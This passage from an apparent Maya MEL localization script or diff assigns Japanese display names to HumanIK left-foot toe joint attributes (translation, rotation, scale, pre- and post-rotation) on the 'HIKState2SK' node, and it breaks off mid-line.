+setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2SC", "左足中指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2IS", "左足中指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ISx", "左足中指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ISy", "左足中指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ISz", "左足中指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreR", "左足中指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreRx", "左足中指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreRy", "左足中指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreRz", "左足中指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostR", "左足中指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostRx", "左足中指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostRy", "左足中指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostRz", "左足中指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3T", "左足中指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Tx", "左足中指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Ty", "左足中指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Tz", "左足中指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3R", "左足中指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Rx", "左足中指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Ry", "左足中指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Rz", "左足中指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3S", "左足中指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Sx", "左足中指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Sy", "左足中指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Sz", "左足中指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PGX", "左足中指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ROrder", "左足中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3SC", "左足中指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3IS", "左足中指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ISx", "左足中指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ISy", "左足中指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ISz", "左足中指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreR", "左足中指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreRx", "左足中指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreRy", "左足中指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreRz", "左足中指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostR", "左足中指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostRx", "左足中指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostRy", "左足中指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostRz", "左足中指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4T", "左足中指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Tx", "左足中指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Ty", "左足中指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Tz", "左足中指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4R", "左足中指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Rx", "左足中指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Ry", "左足中指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Rz", "左足中指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4S", "左足中指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Sx", "左足中指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Sy", "左足中指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Sz", "左足中指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PGX", "左足中指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ROrder", "左足中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4SC", "左足中指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4IS", "左足中指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ISx", "左足中指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ISy", "左足中指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ISz", "左足中指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreR", "左足中指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreRx", "左足中指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreRy", "左足中指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreRz", "左足中指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostR", "左足中指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostRx", "左足中指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostRy", "左足中指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostRz", "左足中指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1T", "左足薬指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Tx", "左足薬指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Ty", "左足薬指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Tz", "左足薬指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1R", "左足薬指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Rx", "左足薬指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Ry", "左足薬指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Rz", "左足薬指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1S", "左足薬指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Sx", "左足薬指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Sy", "左足薬指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Sz", "左足薬指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PGX", "左足薬指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ROrder", "左足薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1SC", "左足薬指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1IS", "左足薬指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ISx", "左足薬指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ISy", "左足薬指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ISz", "左足薬指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreR", "左足薬指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreRx", "左足薬指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreRy", "左足薬指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreRz", "左足薬指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostR", "左足薬指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostRx", "左足薬指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostRy", "左足薬指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostRz", "左足薬指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2T", "左足薬指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Tx", "左足薬指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Ty", "左足薬指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Tz", "左足薬指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2R", "左足薬指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Rx", "左足薬指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Ry", "左足薬指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Rz", "左足薬指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2S", "左足薬指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Sx", "左足薬指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Sy", "左足薬指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Sz", "左足薬指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PGX", "左足薬指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ROrder", "左足薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2SC", "左足薬指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2IS", "左足薬指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ISx", "左足薬指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ISy", "左足薬指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2ISz", "左足薬指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreR", "左足薬指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreRx", "左足薬指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreRy", "左足薬指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PreRz", "左足薬指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostR", "左足薬指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostRx", "左足薬指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostRy", "左足薬指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2PostRz", "左足薬指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3T", "左足薬指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Tx", "左足薬指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Ty", "左足薬指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Tz", "左足薬指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3R", "左足薬指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Rx", "左足薬指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Ry", "左足薬指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Rz", "左足薬指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3S", "左足薬指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Sx", "左足薬指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Sy", "左足薬指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3Sz", "左足薬指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PGX", "左足薬指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ROrder", "左足薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3SC", "左足薬指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3IS", "左足薬指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ISx", "左足薬指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ISy", "左足薬指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3ISz", "左足薬指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreR", "左足薬指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreRx", "左足薬指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreRy", "左足薬指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PreRz", "左足薬指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostR", "左足薬指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostRx", "左足薬指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostRy", "左足薬指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing3PostRz", "左足薬指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4T", "左足薬指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Tx", "左足薬指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Ty", "左足薬指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Tz", "左足薬指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4R", "左足薬指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Rx", "左足薬指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Ry", "左足薬指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Rz", "左足薬指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4S", "左足薬指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Sx", "左足薬指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Sy", "左足薬指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4Sz", "左足薬指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PGX", "左足薬指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ROrder", "左足薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4SC", "左足薬指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4IS", "左足薬指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ISx", "左足薬指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ISy", "左足薬指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4ISz", "左足薬指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreR", "左足薬指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreRx", "左足薬指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreRy", "左足薬指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PreRz", "左足薬指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostR", "左足薬指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostRx", "左足薬指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostRy", "左足薬指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing4PostRz", "左足薬指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1T", "左足小指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Tx", "左足小指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Ty", "左足小指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Tz", "左足小指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1R", "左足小指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Rx", "左足小指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Ry", "左足小指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Rz", "左足小指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1S", "左足小指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Sx", "左足小指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Sy", "左足小指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1Sz", "左足小指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PGX", "左足小指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ROrder", "左足小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1SC", "左足小指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1IS", "左足小指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ISx", "左足小指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ISy", "左足小指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1ISz", "左足小指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreR", "左足小指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreRx", "左足小指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreRy", "左足小指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PreRz", "左足小指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostR", "左足小指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostRx", "左足小指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostRy", "左足小指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky1PostRz", "左足小指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2T", "左足小指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Tx", "左足小指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Ty", "左足小指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Tz", "左足小指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2R", "左足小指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Rx", "左足小指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Ry", "左足小指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Rz", "左足小指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2S", "左足小指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Sx", "左足小指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Sy", "左足小指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2Sz", "左足小指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PGX", "左足小指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ROrder", "左足小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2SC", "左足小指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2IS", "左足小指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ISx", "左足小指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ISy", "左足小指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2ISz", "左足小指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreR", "左足小指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreRx", "左足小指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreRy", "左足小指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PreRz", "左足小指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostR", "左足小指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostRx", "左足小指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostRy", "左足小指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky2PostRz", "左足小指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3T", "左足小指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Tx", "左足小指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Ty", "左足小指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Tz", "左足小指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3R", "左足小指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Rx", "左足小指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Ry", "左足小指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Rz", "左足小指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3S", "左足小指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Sx", "左足小指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Sy", "左足小指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3Sz", "左足小指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PGX", "左足小指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ROrder", "左足小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3SC", "左足小指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3IS", "左足小指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ISx", "左足小指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ISy", "左足小指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3ISz", "左足小指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreR", "左足小指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreRx", "左足小指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreRy", "左足小指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PreRz", "左足小指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostR", "左足小指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostRx", "左足小指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostRy", "左足小指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky3PostRz", "左足小指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4T", "左足小指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Tx", "左足小指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Ty", "左足小指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Tz", "左足小指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4R", "左足小指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Rx", "左足小指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Ry", "左足小指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Rz", "左足小指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4S", "左足小指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Sx", "左足小指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Sy", "左足小指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4Sz", "左足小指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PGX", "左足小指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ROrder", "左足小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4SC", "左足小指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4IS", "左足小指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ISx", "左足小指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ISy", "左足小指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4ISz", "左足小指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreR", "左足小指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreRx", "左足小指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreRy", "左足小指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PreRz", "左足小指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostR", "左足小指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostRx", "左足小指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostRy", "左足小指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPinky4PostRz", "左足小指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1T", "左足追加指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Tx", "左足追加指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Ty", "左足追加指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Tz", "左足追加指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1R", "左足追加指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Rx", "左足追加指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Ry", "左足追加指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Rz", "左足追加指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1S", "左足追加指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Sx", "左足追加指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Sy", "左足追加指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1Sz", "左足追加指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PGX", "左足追加指 1 の 